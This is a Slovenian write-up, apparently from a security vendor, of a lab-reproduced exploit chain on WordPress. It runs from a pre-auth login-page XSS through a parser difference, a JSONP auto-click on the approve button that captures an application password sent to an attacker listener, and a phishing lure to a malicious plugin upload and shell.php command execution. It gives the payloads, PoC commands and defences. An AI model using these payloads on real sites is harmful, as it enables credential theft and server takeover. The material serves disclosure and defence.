XSS2Shell: Od nič do lupine na WordPressu

Praktičen vodič po verigi XSS pred avtentikacijo, ki se lahko stopnjuje do oddaljenega izvajanja kode na WordPress Core, prikazan na lokalnem Docker laboratoriju.

Samo pooblaščeno testiranje.

Vse spodaj je bilo izvedeno na lokalnem laboratoriju (WordPress 7.0.2 na localhos). Teh tehnik ne uporabljajte na sistemih, ki jih ne posedujete ali za katere nimate izrecnega dovoljenja za testiranje.

Izvršni povzetek

XSS2Shell ni posamična napaka — gre za sedemstopenjsko izkoriščevalsko verigo, ki se začne z enim znakom (<, ki mu sledi presledek) in zaobide dva različna HTML razčlenjevalnika na strani za prijavo v WordPress, ter konča z izvajanjem PHP na strežniku kot www-data.

Zakaj je to nevarno:

  1. 1. stopnja ne zahteva nobene avtentikacije — kdorkoli lahko sproži JavaScript na wp-login.php.
  2. Napaka se nahaja v jedru WordPress — ne v vtičniku; prizadeta je skoraj vsaka podprta namestitev od leta 2016.
  3. Uporablja lastno kodo WordPressa — user-profile.js, REST JSONP, gesla za aplikacije, nalaganje vtičnikov — kot pripomočke.
  4. Polno izvajanje oddaljene kode je dokazano in priznano s strani WordPressa — čeprav zahteva, da voden administrator z enim klikom pade v past.

Ta članek vodi skozi vsako fazo s posnetki zaslona iz našega lokalnega laboratorija.

Laboratorijsko okolje

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 na http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Vsako spletišče WordPress izpostavlja /wp-login.php. Ta stran je vstopna točka za celotno verigo.

Faza 0: Razlika razčlenjevalnika (temeljni vzrok)

Ko prijava ne uspe, WordPress v sporočilu o napaki odda posredovano uporabniško ime. Uporabniško ime gre skozi dva sanitizatorja, ki se ne strinjata o tem, kaj je »tag«:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Koristna vsebina uporablja presledek za<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Na ranljivem WordPressu 7.0.2 to preživi sanitizacijo in postane živi DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Na zakrpanem WordPressu 7.0.4 je isti vbrizgan niz HTML-kodiran v sporočilu o napaki — brez živih elementov.

Ta hrošč obstaja od WordPressa 4.7 (2016) in ga leta varnostnih revizij niso odkrili.

Faza 1: XSS pred avtentikacijo (prijava ni potrebna)

Vbrizgana vozlišča DOM se ujemajo s selektorji, ki jih WordPressov lasten user-profile.js išče na strani za prijavo (naloženo za potek ponastavitve gesla):

  1. .reset-pass-submit .wp-generate-pw se ob nalaganju strani samodejno klikne
  2. Klik se razširi do delegiranega upravljalnika #color-picker
  3. Varnostno preverjanje user_id === checkuser_id uspe, ker sta oba undefined
  4. jQuery pošlje POST na ajaxurl — vendar ajaxurl ne obstaja na strani za prijavo…

Razen če ga prepišemo:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Element <area id=ajaxurl> postane window.ajaxurl. jQuery pokliče .toString() → vrne href. WordPress REST vrne JSONP → jQuery globalEval() → alert()se izvede na izvoru WordPress.

Stage 1 demo page
Stage 1 demo page

Pošljite obrazec (ali odprite demo/stage1-preauth-xss.html in kliknite Zaženi fazo 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Vpliv samo v tej fazi: lažno predstavljanje poverilnic na pravi domeni, vožnja seje, klici API z istim izvorom — brez kakršne koli avtentikacije.

Faza 2: Socialni inženiring — klik skrbnika

Faze 2–7 zahtevajo, da prijavljeni skrbnik odpre stran pod nadzorom napadalca. To je trenje, ki ohranja CVSS pod 10 — je pa realistično za ciljane napade.

Skrbnik bi morda prejel: »Vaša seja je potekla — kliknite tukaj za ponovno avtentikacijo.«

Simulated phishing lure page
Simulated phishing lure page

Ko kliknemo, stran napadalca:

  1. Odpre podrejeno pojavno okno (about:blank)
  2. Preusmeri glavno okno na stran za odobritev gesla za aplikacijo WordPress
  3. V podrejeno pojavno okno zapiše obrazec XSS in ga samodejno pošlje na wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Faza 3: Izvajanje metode istega izvora (SOME) — samodejno odobrenje

Koristna obremenitev XSS podrejenega okna spremeni povratni klic JSONP iz alert v:

window.opener.approve.click

WordPress REST zavije odgovor:

/**/window.opener.approve.click({...})

Izvajalno okolje razreši window.opener (nadrejeno okno) → .approve (gumb #approve) → .click(). Gumb Odobri za geslo aplikacije se klikne samodejno — brez interakcije uporabnika na tej strani.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Opazite URL povratnega klica na strani: poverilnice bodo poslane na http://127.0.0.1:9090/callback?...&password=[------].

Faza 4: Zajemanje gesla aplikacije

WordPress ustvari novo geslo aplikacije in preusmeri na napadalčev success_url s poverilnico v poizvedbenem nizu:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Napadalec ima zdaj poverilnice HTTP Basic auth za WordPress REST API — iz skrbnikove lastne seje, brez da bi skrbnik kar koli vtipkal po začetnem kliku na povezavo.

Faza 5: Objava strani pod nadzorom napadalca

Z ukradenimi gesli aplikacije napadalec izvede POST na /wp-json/wp/v2/pages in objavi stran z vgrajenim JavaScriptom. Skrbniki imajo zmožnost unfiltered_html — oznake skriptov preživijo.

Faza 6: Nalaganje vtičnika prek skrbniške seje

Napadalčev JavaScript (ki se izvaja v brskalniku skrbnika na objavljeni strani):

  1. Pridobi /wp-admin/plugin-install.php?tab=upload za enkratno vrednost nalaganja
  2. Izvede POST zlonamernega ZIP-a na /wp-admin/update.php?action=upload-plugin
  3. WordPress ga razpakira v wp-content/plugins/xss2shell/

Vtičnik ni treba aktivirati. Datoteke PHP v imeniku vtičnika so neposredno dostopne prek spleta.

Faza 7: Oddaljeno izvajanje kode

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Odgovor:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Napadalec zdaj izvaja poljubne ukaze kot uporabnik spletnega strežnika — prebere wp-config.php (poverilnice baze podatkov), izvozi bazo podatkov in se lateralno premika.

Celoten izpis terminala PoC:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Celotna veriga na prvi pogled

sequenceDiagram participant A as Napadalčev strežnik participant V as Brskalnik žrtve participant W as WordPress 7.0.2 Note over V,W: Skrbnik je prijavljen V->>A: Odpre lažno povezavo (1 klik) A->>V: HTML napadalca + podrejeno pojavno okno V->>W: Glavno okno → authorize-application.php V->>W: Podrejeno okno POSTa XSS koristno vsebino na wp-login.php W->>V: JSONP izvede window.opener.approve.click Note over V,W: Gumb Odobri se klikne samodejno W->>A: Preusmeritev z geslom aplikacije A->>W: REST API objavi stran (Basic auth) V->>W: Skrbnik obišče stran → naloži ZIP vtičnika V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Kako nevarno je to v resnici?

Kar je zagotovljeno (visoka zaupnost)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Kar zahteva dodatne pogoje (pot RCE)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Kalibracija resnosti

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Zaključek: To ni črvljiva RCE brez klika kot Log4Shell. Je globoko tehnična ranljivost na ravni jedra, ki prizadene ~43 % spleta, kjer:

  • Samo faza 1 je resna XSS pred avtentikacijo na strani za prijavo
  • Celotna veriga en klik skrbnika pretvori v kompromitacijo strežnika
  • Temeljni vzrok (razlika v razčlenjevalnikih) velja za vsako kodno bazo, ki uporablja več razčlenjevalnikov HTML

Lastno obvestilo WordPressa navaja, da RCE zahteva »pogoje zunaj nadzora napadalca« in »uspešen socialni inženiring.« To je točno — a prikazana veriga te pogoje naredi dosegljive z eno samo povezavo.

Lokalno reproducirajte celotno verigo

# 1. Zaženi lab make up # 2. Omogoči gesla za aplikacije prek HTTP (samo lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Zaženi poslušalca PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. V brskalniku: # a. Prijavite se kot skrbnik na http://localhost:9080/wp-login.php # b. Odprite http://127.0.0.1:9091/phishing-sim.html # c. Kliknite »Odpri stran napadalca« (dovolite pojavna okna) # d. Počakajte na izhod v terminalu, ki prikazuje lupino + whoami

Obramba

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Popravek doda esc_html() k uporabniškemu imenu v poti napake pri prijavi — s čimer zagotovi, da se niz obravnava kot besedilo in ne znova razčleni kot HTML.

Zakaj je to pomembno za varnostne raziskave

Vsaka povezava v verigi je sama po sebi dolgočasna:

  • Diferencial razčlenjevalnika → nizka resnost vzdrževanja
  • Napačna skripta naložena na strani za prijavo → nizko
  • JSONP povratni klic preverjen z regularnim izrazom → srednje
  • Geslo za aplikacijo v URL-ju preusmeritve → srednje
  • Imenik vtičnikov izvaja PHP brez aktivacije → znano obnašanje

Skupaj so CVSS 8.9 in lupina.

Pouk: pri ocenjevanju ugotovitev XSS vprašajte »kaj je že naloženo na tej strani in kaj bo storilo, če mu posredujem prave vozlišča DOM?« Resnost je lastnost verige, ne posamezne napake.

Viri

Izberite regijo in jezik

Regija
Jezik
Želite videti, kako deluje CyberTested?
Rezervirajte brezplačno predstavitev